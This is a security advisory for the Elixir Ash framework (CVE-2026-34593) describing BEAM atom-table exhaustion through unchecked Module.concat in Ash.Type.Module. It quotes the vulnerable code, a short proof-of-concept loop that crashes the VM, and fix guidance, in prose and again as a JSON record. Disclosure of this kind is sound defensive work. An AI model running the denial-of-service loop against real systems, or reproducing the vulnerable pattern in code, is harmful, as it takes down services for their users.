GHSA-JJF9-W5VJ-R6VP
Vulnerability from github – Published: 2026-04-01 00:14 – Updated: 2026-04-06 17:24Summary
Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.
Details
Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:
defmodule MyApp.Widget do
use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer
attributes do
uuid_primary_key :id
attribute :handler_module, :module, public?: true
end
actions do
defaults [:read, :destroy]
create :create do
accept [:handler_module]
end
end
end
Vulnerable code in lib/ash/type/module.ex, lines 105-113:
def cast_input("Elixir." <> _ = value, _) do
module = Module.concat([value]) # <-- Creates new atom unconditionally
if Code.ensure_loaded?(module) do
{:ok, module}
else
:error # <-- Returns error but atom is already created
end
end
Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir.*" strings:
# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
|> Ash.create()
# Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
# cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit
Contrast: The non-"Elixir." path in the same function correctly uses String.to_existing_atom/1, which is safe because it only looks up atoms that already exist:
def cast_input(value, _) when is_binary(value) do
atom = String.to_existing_atom(value) # safe - raises if atom doesn't exist
...
end
Additional occurrence: cast_stored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir.*" strings to the relevant database column.
Impact
An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.
Fix direction: Replace Module.concat([value]) with String.to_existing_atom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.to_existing_atom and only falling back to Module.concat on success.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.21.3"
},
"package": {
"ecosystem": "Hex",
"name": "ash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34593"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T00:14:40Z",
"nvd_published_at": "2026-04-02T18:16:31Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `\"Elixir.\"`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application.\n\n## Details\n\n**Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type:\n\n```elixir\ndefmodule MyApp.Widget do\n use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer\n\n attributes do\n uuid_primary_key :id\n attribute :handler_module, :module, public?: true\n end\n\n actions do\n defaults [:read, :destroy]\n create :create do\n accept [:handler_module]\n end\n end\nend\n```\n\n**Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113:\n\n```elixir\ndef cast_input(\"Elixir.\" \u003c\u003e _ = value, _) do\n module = Module.concat([value]) # \u003c-- Creates new atom unconditionally\n if Code.ensure_loaded?(module) do\n {:ok, module}\n else\n :error # \u003c-- Returns error but atom is already created\n end\nend\n```\n\n**Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `\"Elixir.*\"` strings:\n\n```elixir\n# Attacker-controlled loop (or HTTP requests to an API endpoint)\nfor i \u003c- 1..1_100_000 do\n Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: \"Elixir.Attack#{i}\"})\n |\u003e Ash.create()\n # Each iteration: Module.concat([\"Elixir.Attack#{i}\"]) creates a new atom\n # cast_input returns :error but the atom :\"Elixir.Attack#{i}\" persists\nend\n# After ~1,048,576 unique strings: BEAM crashes with system_limit\n```\n\n**Contrast**: The non-`\"Elixir.\"` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist:\n\n```elixir\ndef cast_input(value, _) when is_binary(value) do\n atom = String.to_existing_atom(value) # safe - raises if atom doesn\u0027t exist\n ...\nend\n```\n\n**Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `\"Elixir.*\"` strings to the relevant database column.\n\n## Impact\n\nAn attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.\n\n**Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`\"Elixir.\"` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.",
"id": "GHSA-jjf9-w5vj-r6vp",
"modified": "2026-04-06T17:24:41Z",
"published": "2026-04-01T00:14:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34593"
},
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/commit/7031103da38cd1366cec8c96d6bcdc9b989aa3c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/ash-project/ash"
},
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/releases/tag/v3.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.